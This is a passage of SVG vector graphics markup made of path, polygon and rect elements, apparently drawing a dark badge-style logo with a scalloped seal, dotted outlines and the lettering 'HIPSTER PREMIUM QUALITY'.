<path fill="#2B292A" d="M21.6-108.3c-0.6,4.7,0.3,9.3,2.6,13.4c2.4,4.1,5.9,7.2,10.3,9c6.4,2.6,11.6,7.8,14.3,14.3
|
||||
c1.8,4.4,4.9,7.9,9,10.3c4.1,2.4,8.7,3.3,13.4,2.6c6.9-1,14,0.9,19.5,5.2c3.7,2.9,8.2,4.4,12.9,4.4c4.7,0,9.2-1.5,12.9-4.4
|
||||
c5.5-4.3,12.6-6.2,19.5-5.2c4.7,0.6,9.3-0.3,13.4-2.6c4.1-2.4,7.2-5.9,9-10.3c2.6-6.4,7.8-11.6,14.3-14.3c4.4-1.8,7.9-4.9,10.3-9
|
||||
c2.4-4.1,3.3-8.7,2.6-13.4c-1-6.9,0.9-14,5.2-19.5c2.9-3.7,4.4-8.2,4.4-12.9c0-4.7-1.5-9.2-4.4-12.9c-4.3-5.5-6.2-12.6-5.2-19.5
|
||||
c0.6-4.7-0.3-9.3-2.6-13.4c-2.4-4.1-5.9-7.2-10.3-9c-6.4-2.6-11.6-7.8-14.3-14.3c-1.8-4.4-4.9-7.9-9-10.3
|
||||
c-4.1-2.4-8.7-3.3-13.4-2.6c-6.9,1-14-0.9-19.5-5.2c-3.7-2.9-8.2-4.4-12.9-4.4c-4.7,0-9.2,1.5-12.9,4.4
|
||||
c-5.5,4.3-12.6,6.2-19.5,5.2c-4.7-0.6-9.3,0.3-13.4,2.6c-4.1,2.4-7.2,5.9-9,10.3c-2.6,6.4-7.8,11.6-14.3,14.3
|
||||
c-4.4,1.8-7.9,4.9-10.3,9c-2.4,4.1-3.3,8.7-2.6,13.4c1,6.9-0.9,14-5.2,19.5c-2.9,3.7-4.4,8.2-4.4,12.9c0,4.7,1.5,9.2,4.4,12.9
|
||||
C20.7-122.3,22.6-115.2,21.6-108.3z M25-173.6c-0.5-3.9,0.2-7.8,2.2-11.2c2-3.4,4.9-6,8.6-7.5c7.3-3,13.2-8.9,16.2-16.2
|
||||
c1.5-3.6,4.1-6.6,7.5-8.6c3.4-2,7.3-2.7,11.2-2.2c7.8,1.1,15.8-1.1,22.1-5.9c3.1-2.4,6.8-3.7,10.8-3.7s7.7,1.3,10.8,3.7
|
||||
c6.2,4.8,14.3,7,22.1,5.9c3.9-0.5,7.8,0.2,11.2,2.2c3.4,2,6,4.9,7.5,8.6c3,7.3,8.9,13.2,16.2,16.2c3.6,1.5,6.6,4.1,8.6,7.5
|
||||
c2,3.4,2.7,7.3,2.2,11.2c-1.1,7.8,1.1,15.8,5.9,22.1c2.4,3.1,3.7,6.8,3.7,10.8c0,3.9-1.3,7.7-3.7,10.8c-4.8,6.2-7,14.3-5.9,22.1
|
||||
c0.5,3.9-0.2,7.8-2.2,11.2c-2,3.4-4.9,6-8.6,7.5c-7.3,3-13.2,8.9-16.2,16.2c-1.5,3.6-4.1,6.6-7.5,8.6c-3.4,2-7.3,2.7-11.2,2.2
|
||||
c-7.8-1.1-15.8,1.1-22.1,5.9c-3.1,2.4-6.8,3.7-10.8,3.7s-7.7-1.3-10.8-3.7c-5.2-4-11.6-6.2-18.1-6.2c-1.3,0-2.7,0.1-4,0.3
|
||||
c-3.9,0.5-7.8-0.2-11.2-2.2c-3.4-2-6-4.9-7.5-8.6c-3-7.3-8.9-13.2-16.2-16.2c-3.6-1.5-6.6-4.1-8.6-7.5c-2-3.4-2.7-7.3-2.2-11.2
|
||||
c1.1-7.8-1.1-15.8-5.9-22.1c-2.4-3.1-3.7-6.8-3.7-10.8c0-3.9,1.3-7.7,3.7-10.8C23.9-157.7,26.1-165.8,25-173.6z"/>
|
||||
<path fill="#2B292A" d="M130.3-67.4l0.1,2c1.1-0.1,2.2-0.1,3.3,0l0.1-2C132.6-67.5,131.4-67.5,130.3-67.4z"/>
|
||||
<path fill="#2B292A" d="M137-214.2c1-0.1,2-0.2,3-0.1l0.2-2c-1.1-0.1-2.3-0.1-3.5,0.1l-0.2,0l0.3,2L137-214.2z"/>
|
||||
<path fill="#2B292A" d="M30.3-112.4c0-1.2-0.1-2.4-0.2-3.5l-2,0.2c0.1,1.1,0.2,2.2,0.2,3.3L30.3-112.4z"/>
|
||||
<path fill="#2B292A" d="M159-196.9c-0.8-0.8-1.5-1.6-2.2-2.5l-1.6,1.2c0.7,0.9,1.5,1.8,2.3,2.7L159-196.9z"/>
|
||||
<path fill="#2B292A" d="M137.3-67.1l-0.2,2c0.6,0.1,1.1,0.1,1.7,0.1c0.7,0,1.3,0,2-0.1l-0.3-2C139.4-67,138.4-67,137.3-67.1z"/>
|
||||
<path fill="#2B292A" d="M153.2-201.1l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C152-203.1,152.6-202.1,153.2-201.1z"/>
|
||||
<path fill="#2B292A" d="M151.8-208.2c-0.5-1.1-1.2-2.2-2-3.1l-1.5,1.3c0.7,0.8,1.3,1.7,1.7,2.7L151.8-208.2z"/>
|
||||
<path fill="#2B292A" d="M30-107.2c0.1-0.6,0.1-1.1,0.2-1.7l-2-0.2c0,0.5-0.1,1.1-0.2,1.6c-0.1,0.6-0.1,1.3-0.1,1.9l2,0
|
||||
C29.8-106.1,29.9-106.6,30-107.2z"/>
|
||||
<path fill="#2B292A" d="M145-68.7c-0.5,0.3-1,0.5-1.5,0.7l0.8,1.9c0.6-0.2,1.2-0.5,1.7-0.8c0.5-0.3,1-0.6,1.5-1l-1.2-1.6
|
||||
C145.9-69.3,145.5-69,145-68.7z"/>
|
||||
<path fill="#2B292A" d="M145.9-212.1l1.1-1.7c-0.3-0.2-0.7-0.4-1-0.7c-0.7-0.4-1.5-0.8-2.2-1.1l-0.7,1.9c0.7,0.2,1.3,0.6,1.9,0.9
|
||||
C145.3-212.5,145.6-212.3,145.9-212.1z"/>
|
||||
<path fill="#2B292A" d="M54.3-79.5l-1.7,1c0.6,1,1.1,1.9,1.6,3l1.8-0.8C55.5-77.4,54.9-78.5,54.3-79.5z"/>
|
||||
<path fill="#2B292A" d="M48.6-83.8c0.8,0.8,1.5,1.7,2.1,2.6l1.6-1.2c-0.7-0.9-1.5-1.9-2.3-2.7L48.6-83.8z"/>
|
||||
<path fill="#2B292A" d="M28.3-101.9c0.3,1.2,0.8,2.3,1.4,3.4l1.8-1c-0.5-0.9-0.9-1.9-1.2-3L28.3-101.9z"/>
|
||||
<path fill="#2B292A" d="M87.7-62.8c1,0.4,2,0.9,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L87.7-62.8z"/>
|
||||
<path fill="#2B292A" d="M94.7-61.1l-1.2,1.6c0.4,0.3,0.7,0.5,1.1,0.8c0.6,0.5,1.2,0.9,1.9,1.2l1-1.8c-0.6-0.3-1.1-0.7-1.6-1.1
|
||||
C95.4-60.5,95-60.8,94.7-61.1z"/>
|
||||
<path fill="#2B292A" d="M55.6-72.3c0.6,1.1,1.4,2.1,2.2,2.9l1.4-1.4c-0.7-0.8-1.4-1.6-1.9-2.5L55.6-72.3z"/>
|
||||
<path fill="#2B292A" d="M28.1-173.3c0.1,1.1,0.2,2.2,0.2,3.3l2,0c0-1.2-0.1-2.4-0.2-3.5L28.1-173.3z"/>
|
||||
<path fill="#2B292A" d="M43.6-88.2c0.9,0.6,1.8,1.3,2.6,2.1l1.3-1.5c-0.9-0.8-1.8-1.5-2.8-2.2L43.6-88.2z"/>
|
||||
<path fill="#2B292A" d="M31.8-95.5c0.8,0.9,1.8,1.7,2.8,2.4l1.1-1.7c-0.9-0.6-1.7-1.2-2.4-2L31.8-95.5z"/>
|
||||
<path fill="#2B292A" d="M37.8-91.6c1,0.4,2,1,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L37.8-91.6z"/>
|
||||
<path fill="#2B292A" d="M184.3-133.5l1.6,1.2c0.7-1,1.3-2.1,1.7-3.3l-1.9-0.7C185.4-135.3,184.9-134.3,184.3-133.5z"/>
|
||||
<path fill="#2B292A" d="M177.9-121l1.9,0.5c0.3-1.1,0.6-2.1,1-3.2l-1.9-0.7C178.6-123.2,178.2-122.1,177.9-121z"/>
|
||||
<path fill="#2B292A" d="M99.8-56.1c1.2,0.3,2.4,0.5,3.7,0.5v-2c-1.1,0-2.1-0.1-3.2-0.4L99.8-56.1z"/>
|
||||
<path fill="#2B292A" d="M155.6-83.6l1.6,1.3c0.7-0.9,1.5-1.7,2.2-2.5l-1.4-1.4C157.1-85.4,156.3-84.5,155.6-83.6z"/>
|
||||
<path fill="#2B292A" d="M182-151.2l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C180.8-153.3,181.3-152.2,182-151.2z"/>
|
||||
<path fill="#2B292A" d="M179.1-164.7c-0.2-1.1-0.3-2.2-0.3-3.3l-2,0.1c0.1,1.2,0.2,2.4,0.3,3.5L179.1-164.7z"/>
|
||||
<path fill="#2B292A" d="M180.5-127.6l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C181.6-129.6,181-128.6,180.5-127.6z"/>
|
||||
<path fill="#2B292A" d="M172.4-95.6l1.3,1.6c1-0.8,1.8-1.7,2.6-2.7l-1.6-1.2C174-97,173.2-96.3,172.4-95.6z"/>
|
||||
<path fill="#2B292A" d="M176.2-100.7l1.9,0.8c0.5-1.1,0.8-2.3,1-3.6l-2-0.3C176.9-102.7,176.6-101.7,176.2-100.7z"/>
|
||||
<path fill="#2B292A" d="M178.7-110.5l-2,0.1c0,1.1,0.1,2.2,0.3,3.3c0,0.1,0,0.2,0,0.3l2-0.2c0-0.1,0-0.2,0-0.3
|
||||
C178.9-108.4,178.8-109.5,178.7-110.5z"/>
|
||||
<path fill="#2B292A" d="M176.8-114l2,0.1c0.1-1.1,0.2-2.2,0.4-3.3l-2-0.3C177-116.3,176.8-115.1,176.8-114z"/>
|
||||
<path fill="#2B292A" d="M187.4-146.4c-0.5-1.1-1.1-2.2-1.9-3.2l-1.6,1.2c0.7,0.9,1.2,1.8,1.6,2.7L187.4-146.4z"/>
|
||||
<path fill="#2B292A" d="M170-189.5c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L170-189.5z"/>
|
||||
<path fill="#2B292A" d="M169.3-93.8c-0.9,0.4-1.9,0.8-2.8,1.3l0.9,1.8c0.9-0.4,1.7-0.8,2.6-1.2c0.2-0.1,0.3-0.1,0.5-0.2l-0.8-1.8
|
||||
C169.6-93.9,169.4-93.9,169.3-93.8z"/>
|
||||
<path fill="#2B292A" d="M164.1-192.6c-0.9-0.6-1.8-1.3-2.7-2l-1.3,1.5c0.9,0.8,1.9,1.5,2.8,2.1L164.1-192.6z"/>
|
||||
<path fill="#2B292A" d="M151.7-77.7l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C152.8-79.8,152.2-78.8,151.7-77.7z"/>
|
||||
<path fill="#2B292A" d="M160.6-88.6l1.3,1.6c0.9-0.7,1.8-1.4,2.7-2l-1.1-1.7C162.5-90.1,161.5-89.4,160.6-88.6z"/>
|
||||
<path fill="#2B292A" d="M177-174.2c-0.1,0.9-0.2,1.8-0.3,2.7l2,0.1c0-0.9,0.1-1.7,0.3-2.6c0-0.3,0.1-0.6,0.1-0.8l-2-0.2
|
||||
C177.1-174.7,177-174.5,177-174.2z"/>
|
||||
<path fill="#2B292A" d="M148.6-71.8l1.6,1.2c0.8-1,1.4-2,1.9-3.2l-1.8-0.8C149.8-73.5,149.2-72.6,148.6-71.8z"/>
|
||||
<path fill="#2B292A" d="M178.9-178.5c-0.2-1.2-0.6-2.4-1.1-3.5l-1.8,0.8c0.4,1,0.8,2,0.9,3L178.9-178.5z"/>
|
||||
<path fill="#2B292A" d="M178.8-157.6l1.9-0.7c-0.4-1-0.7-2.1-1-3.2l-1.9,0.5C178.1-159.8,178.4-158.7,178.8-157.6z"/>
|
||||
<path fill="#2B292A" d="M174.3-183.9l1.6-1.3c-0.8-1-1.7-1.8-2.7-2.6l-1.2,1.6C172.9-185.5,173.7-184.7,174.3-183.9z"/>
|
||||
<path fill="#2B292A" d="M186.6-140.7c0,0.5,0,0.9-0.1,1.4l2,0.2c0.1-0.5,0.1-1,0.1-1.6c0-0.7-0.1-1.4-0.2-2.1l-2,0.3
|
||||
C186.5-141.9,186.6-141.3,186.6-140.7z"/>
|
||||
<path fill="#2B292A" d="M54.8-202.8l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.6,1.2C53.6-200.8,54.2-201.8,54.8-202.8z"/>
|
||||
<path fill="#2B292A" d="M56.6-206.5c0.3-0.8,0.8-1.6,1.3-2.4l-1.7-1.1c-0.6,0.9-1.1,1.8-1.5,2.7c-0.1,0.2-0.1,0.3-0.2,0.5
|
||||
l1.8,0.8C56.4-206.2,56.5-206.3,56.6-206.5z"/>
|
||||
<path fill="#2B292A" d="M50.8-197l-1.5-1.3c-0.7,0.8-1.5,1.7-2.3,2.4l1.4,1.5C49.2-195.3,50-196.1,50.8-197z"/>
|
||||
<path fill="#2B292A" d="M61.9-212.7c0.2-0.1,0.4-0.2,0.7-0.4l-0.9-1.8c-0.3,0.1-0.5,0.3-0.8,0.4c-0.8,0.5-1.6,1-2.3,1.6l1.3,1.5
|
||||
C60.6-211.8,61.2-212.3,61.9-212.7z"/>
|
||||
<path fill="#2B292A" d="M68.8-214.3l0.1-2c-1.2-0.1-2.5,0-3.7,0.3l0.4,2C66.6-214.3,67.7-214.4,68.8-214.3z"/>
|
||||
<path fill="#2B292A" d="M61.8-68.8l-1,1.7l0.2,0.1c1,0.6,2.1,1.1,3.2,1.4l0.6-1.9c-1-0.3-1.9-0.7-2.8-1.2L61.8-68.8z"/>
|
||||
<path fill="#2B292A" d="M67.8-65.1c0.1,0,0.3,0,0.4,0c0.7,0,1.3,0,2-0.1c0.4-0.1,0.8-0.1,1.2-0.1l-0.2-2c-0.4,0-0.8,0.1-1.2,0.1
|
||||
c-0.7,0.1-1.4,0.1-2.1,0.1L67.8-65.1z"/>
|
||||
<path fill="#2B292A" d="M45.6-192.2l-1.2-1.6c-0.9,0.7-1.8,1.3-2.8,1.9l1.1,1.7C43.7-190.8,44.7-191.4,45.6-192.2z"/>
|
||||
<path fill="#2B292A" d="M30.5-179.9l-1.9-0.6c-0.4,1.2-0.6,2.4-0.7,3.6l2,0.1C29.9-177.8,30.1-178.9,30.5-179.9z"/>
|
||||
<path fill="#2B292A" d="M37.7-187.6c0.6-0.3,1.3-0.5,1.9-0.8l-0.9-1.8c-0.6,0.3-1.2,0.5-1.8,0.8c-0.5,0.2-0.9,0.4-1.4,0.7
|
||||
l0.9,1.8C36.9-187.3,37.3-187.4,37.7-187.6z"/>
|
||||
<path fill="#2B292A" d="M75.7-213.9l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.1,2c0.8,0.1,1.7,0.1,2.5,0.1C75-213.9,75.4-213.9,75.7-213.9
|
||||
z"/>
|
||||
<path fill="#2B292A" d="M30.1-166.4l-2-0.2c-0.1,1.1-0.3,2.2-0.5,3.3l2,0.4C29.9-164.1,30-165.3,30.1-166.4z"/>
|
||||
<path fill="#2B292A" d="M33.9-185.2l-1.4-1.5c-0.9,0.8-1.7,1.8-2.4,2.8l1.7,1.1C32.4-183.7,33.1-184.5,33.9-185.2z"/>
|
||||
<path fill="#2B292A" d="M116.7-63.7l0.9,1.8c1-0.5,2-1,3-1.4l-0.7-1.9C118.8-64.8,117.7-64.3,116.7-63.7z"/>
|
||||
<path fill="#2B292A" d="M120.2-218.3c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L120.2-218.3z"/>
|
||||
<path fill="#2B292A" d="M101.2-223.6l-0.4-2c-1.2,0.2-2.4,0.6-3.5,1.1l0.8,1.8C99.1-223.1,100.2-223.4,101.2-223.6z"/>
|
||||
<path fill="#2B292A" d="M108.2-225c-1.2-0.4-2.4-0.6-3.6-0.7l-0.1,2c1.1,0.1,2.1,0.3,3.1,0.6L108.2-225z"/>
|
||||
<path fill="#2B292A" d="M126.6-216.4c-1.1-0.2-2.2-0.5-3.3-0.8l-0.6,1.9c1.1,0.3,2.3,0.6,3.5,0.8L126.6-216.4z"/>
|
||||
<path fill="#2B292A" d="M74.7-65.5c1.1,0,2.2,0.1,3.3,0.2l0.2-2c-1.2-0.1-2.4-0.2-3.5-0.2L74.7-65.5z"/>
|
||||
<path fill="#2B292A" d="M111.2-60.3c-0.1,0.1-0.3,0.2-0.4,0.3l1.2,1.6c0.2-0.1,0.3-0.3,0.5-0.4c0.7-0.6,1.5-1.1,2.2-1.6l-1.1-1.7
|
||||
C112.8-61.4,112-60.9,111.2-60.3z"/>
|
||||
<path fill="#2B292A" d="M123.8-64.3c1.1-0.3,2.2-0.5,3.3-0.7l-0.3-2c-1.2,0.2-2.3,0.4-3.5,0.8L123.8-64.3z"/>
|
||||
<path fill="#2B292A" d="M104.9-57.7l0.2,2c1.2-0.1,2.4-0.4,3.6-0.9l-0.7-1.9C107-58.1,105.9-57.8,104.9-57.7z"/>
|
||||
<path fill="#2B292A" d="M133.3-213.9l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.2,2c0.9,0.1,1.7,0.1,2.6,0.1
|
||||
C132.6-213.9,133-213.9,133.3-213.9z"/>
|
||||
<path fill="#2B292A" d="M113.2-219.7l1.1-1.7c-0.6-0.4-1.2-0.9-1.8-1.3c-0.3-0.2-0.6-0.5-1-0.7l-1.1,1.7c0.3,0.2,0.6,0.4,0.8,0.6
|
||||
C111.8-220.7,112.5-220.2,113.2-219.7z"/>
|
||||
<path fill="#2B292A" d="M89.4-217.2l-0.9-1.8c-1,0.5-2,0.9-3.1,1.3l0.7,1.9C87.2-216.3,88.3-216.7,89.4-217.2z"/>
|
||||
<path fill="#2B292A" d="M81.3-64.8c1.1,0.2,2.2,0.5,3.2,0.9l0.6-1.9c-1.1-0.4-2.3-0.7-3.4-0.9L81.3-64.8z"/>
|
||||
<path fill="#2B292A" d="M95.5-220.9l-1.2-1.6c-0.9,0.7-1.8,1.3-2.8,1.9l1,1.7C93.5-219.5,94.5-220.2,95.5-220.9z"/>
|
||||
<path fill="#2B292A" d="M82.7-214.9l-0.5-2c-1.1,0.3-2.2,0.5-3.3,0.6l0.3,2C80.4-214.4,81.6-214.6,82.7-214.9z"/>
|
||||
<path fill="#2B292A" d="M102.5-200v-11.6h-1.4c-0.6,2.6-4.5,20.1-9.4,25.6c0,0,4.4,5,4.8,10.3h13.8c0.4-5.3,4.8-10.3,4.8-10.3
|
||||
c-4.9-5.5-8.8-23-9.4-25.6h-1.4v11.6c1,0.4,1.7,1.4,1.7,2.5c0,1.5-1.2,2.7-2.7,2.7c-1.5,0-2.7-1.2-2.7-2.7
|
||||
C100.8-198.6,101.5-199.6,102.5-200z"/>
|
||||
<rect x="95" y="-173.4" fill="#2B292A" width="17" height="7.5"/>
|
||||
<polygon fill="#2B292A" points="57.3,-118.9 53.5,-115.1 49.7,-118.9 49.1,-118.3 48.5,-117.7 52.3,-113.9 48.5,-110.1
|
||||
49.1,-109.5 49.7,-108.9 53.5,-112.7 57.3,-108.9 58.5,-110.1 54.7,-113.9 58.5,-117.7 "/>
|
||||
<polygon fill="#2B292A" points="149.7,-118.9 148.5,-117.7 152.3,-113.9 148.5,-110.1 149.7,-108.9 153.5,-112.7 157.3,-108.9
|
||||
157.9,-109.5 158.5,-110.1 154.7,-113.9 158.5,-117.7 157.9,-118.3 157.3,-118.9 153.5,-115.1 "/>
|
||||
</g>
|
||||
<path fill="#2B292A" d="M141.7,166.3l1,1.7c1-0.6,2-1.2,3-1.8l-1.1-1.7C143.6,165.1,142.7,165.7,141.7,166.3z"/>
|
||||
<path fill="#2B292A" d="M72.3,172.1c1.1,0.5,2.1,0.9,3.2,1.3l0.7-1.9c-1.1-0.4-2.1-0.8-3.1-1.3L72.3,172.1z"/>
|
||||
<path fill="#2B292A" d="M92.4,177.7c1.1,0.2,2.3,0.3,3.5,0.4l0.2-2c-1.1-0.1-2.3-0.2-3.4-0.4L92.4,177.7z"/>
|
||||
<path fill="#2B292A" d="M66,169c1,0.6,2.1,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L66,169z"/>
|
||||
<path fill="#2B292A" d="M85.5,176.5c1.1,0.3,2.3,0.5,3.4,0.7l0.4-2c-1.1-0.2-2.2-0.4-3.3-0.7L85.5,176.5z"/>
|
||||
<path fill="#2B292A" d="M78.8,174.6c1.1,0.4,2.2,0.7,3.3,1l0.5-1.9c-1.1-0.3-2.2-0.6-3.2-1L78.8,174.6z"/>
|
||||
<path fill="#2B292A" d="M104.2,176.4h-1.3c-1.1,0-2.3,0-3.4-0.1l-0.1,2c1.2,0.1,2.3,0.1,3.5,0.1h1.3c0,0,0,0,0,0c0.7,0,1.3,0,2,0
|
||||
l-0.1-2C105.5,176.4,104.8,176.4,104.2,176.4z"/>
|
||||
<path fill="#2B292A" d="M109.5,176.2l0.1,2c1.2-0.1,2.3-0.2,3.5-0.3l-0.2-2C111.8,176,110.6,176.1,109.5,176.2z"/>
|
||||
<path fill="#2B292A" d="M135.7,169.4l0.9,1.8c1-0.5,2.1-1,3.1-1.6l-0.9-1.8C137.7,168.5,136.7,169,135.7,169.4z"/>
|
||||
<path fill="#2B292A" d="M129.4,172l0.7,1.9c1.1-0.4,2.2-0.8,3.3-1.3l-0.8-1.9C131.5,171.2,130.5,171.7,129.4,172z"/>
|
||||
<path fill="#2B292A" d="M116.3,175.4l0.3,2c1.1-0.2,2.3-0.4,3.4-0.6l-0.4-2C118.5,175,117.4,175.3,116.3,175.4z"/>
|
||||
<path fill="#2B292A" d="M122.9,174l0.5,1.9c1.1-0.3,2.3-0.6,3.4-1l-0.6-1.9C125.1,173.4,124,173.8,122.9,174z"/>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M43.3,82.6v10.9h12.6V82.6h3.4v26h-3.4V96.5H43.3v12.2H40v-26H43.3z"/>
|
||||
<path fill="#2B292A" d="M68.5,82.6v26h-3.4v-26H68.5z"/>
|
||||
<path fill="#2B292A" d="M74.4,83c1.6-0.3,3.7-0.5,6.4-0.5c3.3,0,5.8,0.8,7.3,2.2c1.4,1.2,2.3,3.1,2.3,5.4c0,2.4-0.7,4.2-2,5.6
|
||||
c-1.8,1.9-4.7,2.9-8,2.9c-1,0-1.9,0-2.7-0.2v10.4h-3.4V83z M77.7,95.5c0.7,0.2,1.7,0.3,2.8,0.3c4.1,0,6.5-2,6.5-5.6
|
||||
c0-3.4-2.4-5.1-6.1-5.1c-1.5,0-2.6,0.1-3.2,0.3V95.5z"/>
|
||||
<path fill="#2B292A" d="M94.4,104.6c1.5,0.9,3.7,1.7,6,1.7c3.4,0,5.4-1.8,5.4-4.4c0-2.4-1.4-3.8-4.9-5.2
|
||||
c-4.2-1.5-6.9-3.7-6.9-7.4c0-4.1,3.4-7.1,8.4-7.1c2.7,0,4.6,0.6,5.8,1.3l-0.9,2.7c-0.8-0.5-2.6-1.2-4.9-1.2
|
||||
c-3.6,0-4.9,2.1-4.9,3.9c0,2.4,1.6,3.6,5.2,5c4.4,1.7,6.6,3.8,6.6,7.6c0,4-3,7.5-9.1,7.5c-2.5,0-5.3-0.7-6.6-1.7L94.4,104.6z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M118.9,85.5H111v-2.9h19.3v2.9h-8v23.2h-3.4V85.5z"/>
|
||||
<path fill="#2B292A" d="M146.6,96.5h-10.1v9.4h11.3v2.8h-14.6v-26h14.1v2.8h-10.7v8.2h10.1V96.5z"/>
|
||||
<path fill="#2B292A" d="M152.1,83c1.7-0.3,4.1-0.5,6.4-0.5c3.6,0,5.9,0.7,7.5,2.1c1.3,1.2,2,2.9,2,4.9c0,3.4-2.2,5.7-4.9,6.6
|
||||
v0.1c2,0.7,3.2,2.5,3.8,5.3c0.8,3.6,1.5,6.1,2,7.1h-3.5c-0.4-0.7-1-3-1.7-6.2c-0.8-3.6-2.2-4.9-5.2-5.1h-3.2v11.3h-3.4V83z
|
||||
M155.5,94.8h3.4c3.6,0,5.9-2,5.9-4.9c0-3.4-2.4-4.8-6-4.9c-1.6,0-2.8,0.2-3.3,0.3V94.8z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M71.1,136c0,2.8-1.8,4.4-4.9,4.4h-2.8v3.7h-2.1v-12.3h4.9C69.3,131.7,71.1,133.3,71.1,136z M69.1,136
|
||||
c0-1.6-1.1-2.4-3-2.4h-2.8v4.9h2.8C68,138.5,69.1,137.7,69.1,136z"/>
|
||||
<path fill="#2B292A" d="M81,144.1l-2.3-3.7c-0.2,0-0.4,0-0.6,0h-2.9v3.7h-2.1v-12.3h5c3.2,0,5,1.5,5,4.2c0,2-0.9,3.4-2.6,4
|
||||
l2.8,4.1H81z M78.2,138.5c1.9,0,3-0.8,3-2.5c0-1.6-1.1-2.4-3-2.4h-2.9v4.9H78.2z"/>
|
||||
<path fill="#2B292A" d="M94.7,131.7v1.9H88v3.4h6v1.9h-6v3.4h7v1.9h-9v-12.3H94.7z"/>
|
||||
<path fill="#2B292A" d="M100,131.7l4.1,8.2l4.1-8.2h2.5v12.3h-1.9l0-9.2l-3.9,7.9h-1.4l-3.9-7.9v9.2h-2v-12.3H100z"/>
|
||||
<path fill="#2B292A" d="M115.9,131.7v12.3h-2.1v-12.3H115.9z"/>
|
||||
<path fill="#2B292A" d="M124.3,142.3c2,0,3.3-1.2,3.3-3.3v-7.2h2.1v7.2c0,3.2-2,5.2-5.4,5.2s-5.4-2-5.4-5.2v-7.2h2.1v7.2
|
||||
C121,141.1,122.3,142.3,124.3,142.3z"/>
|
||||
<path fill="#2B292A" d="M135.1,131.7l4.1,8.2l4.1-8.2h2.5v12.3h-1.9l0-9.2l-3.9,7.9h-1.4l-3.9-7.9v9.2h-2v-12.3H135.1z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M82.3,160.5c-0.8,0.7-1.9,1.2-3,1.2c-1.4,0-2.6-0.9-3.5-2.3c-3.3,0-5.8-2.4-5.8-5.5
|
||||
c0-3.1,2.5-5.5,5.8-5.5s5.8,2.4,5.8,5.5c0,2.5-1.6,4.5-3.9,5.3c0.6,0.6,1.2,1,1.8,1c0.6,0,1.3-0.3,2-0.9L82.3,160.5z
|
||||
M75.9,157.8c2.1,0,3.9-1.7,3.9-3.9c0-2.2-1.7-3.8-3.9-3.8c-2.2,0-3.9,1.7-3.9,3.8C72,156,73.8,157.8,75.9,157.8z"/>
|
||||
<path fill="#2B292A" d="M88.3,157.8c1.8,0,2.9-1.1,2.9-2.9v-6.4H93v6.4c0,2.9-1.8,4.6-4.7,4.6s-4.8-1.7-4.8-4.6v-6.4h1.8v6.4
|
||||
C85.4,156.7,86.5,157.8,88.3,157.8z"/>
|
||||
<path fill="#2B292A" d="M102.4,156.9h-5.5l-1,2.5h-1.9l4.8-10.9h1.9l4.8,10.9h-2L102.4,156.9z M101.7,155.2l-2.1-4.8l-2.1,4.8
|
||||
H101.7z"/>
|
||||
<path fill="#2B292A" d="M108.7,148.4v9.2h4.7v1.7h-6.6v-10.9H108.7z"/>
|
||||
<path fill="#2B292A" d="M117,148.4v10.9h-1.8v-10.9H117z"/>
|
||||
<path fill="#2B292A" d="M127.3,148.4v1.7h-3.5v9.3H122v-9.3h-3.4v-1.7H127.3z"/>
|
||||
<path fill="#2B292A" d="M133.4,155.7v3.6h-1.8v-3.6l-4.1-7.3h1.9l3.1,5.3l3.1-5.3h1.9L133.4,155.7z"/>
|
||||
</g>
|
||||
<path fill="#2B292A" d="M173.8,128c-0.4,1.1-0.8,2.1-1.3,3.2l1.8,0.8c0.5-1.1,0.9-2.2,1.3-3.2L173.8,128z"/>
|
||||
<path fill="#2B292A" d="M152.7,158.4l1.3,1.5c0.9-0.8,1.7-1.5,2.6-2.3l-1.4-1.5C154.4,156.9,153.6,157.6,152.7,158.4z"/>
|
||||
<path fill="#2B292A" d="M162.1,148.6l1.6,1.3c0.7-0.9,1.4-1.8,2.1-2.8l-1.6-1.2C163.5,146.8,162.8,147.7,162.1,148.6z"/>
|
||||
<path fill="#2B292A" d="M147.4,162.6l1.2,1.6c0.9-0.7,1.9-1.4,2.8-2.1l-1.2-1.6C149.2,161.2,148.3,161.9,147.4,162.6z"/>
|
||||
<path fill="#2B292A" d="M157.6,153.7l1.4,1.4c0.8-0.8,1.6-1.7,2.4-2.6l-1.5-1.3C159.2,152,158.4,152.9,157.6,153.7z"/>
|
||||
<path fill="#2B292A" d="M166.1,143.1l1.7,1.1c0.6-1,1.3-2,1.9-2.9l-1.7-1C167.4,141.2,166.8,142.2,166.1,143.1z"/>
|
||||
<path fill="#2B292A" d="M54.5,161.2c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.7-2.1L54.5,161.2z"/>
|
||||
<path fill="#2B292A" d="M169.6,137.3l1.8,1c0.6-1,1.1-2.1,1.6-3.1l-1.8-0.9C170.7,135.3,170.2,136.3,169.6,137.3z"/>
|
||||
<path fill="#2B292A" d="M172.5,57.8l1.8-0.8c-0.5-1.1-0.9-2.1-1.4-3.2l-1.8,0.9C171.6,55.7,172.1,56.8,172.5,57.8z"/>
|
||||
<path fill="#2B292A" d="M60.1,165.4c1,0.7,1.9,1.3,2.9,1.9l1.1-1.7c-1-0.6-1.9-1.2-2.9-1.8L60.1,165.4z"/>
|
||||
<path fill="#2B292A" d="M171.3,50.7c-0.6-1-1.1-2-1.7-3l-1.7,1c0.6,1,1.2,2,1.7,2.9L171.3,50.7z"/>
|
||||
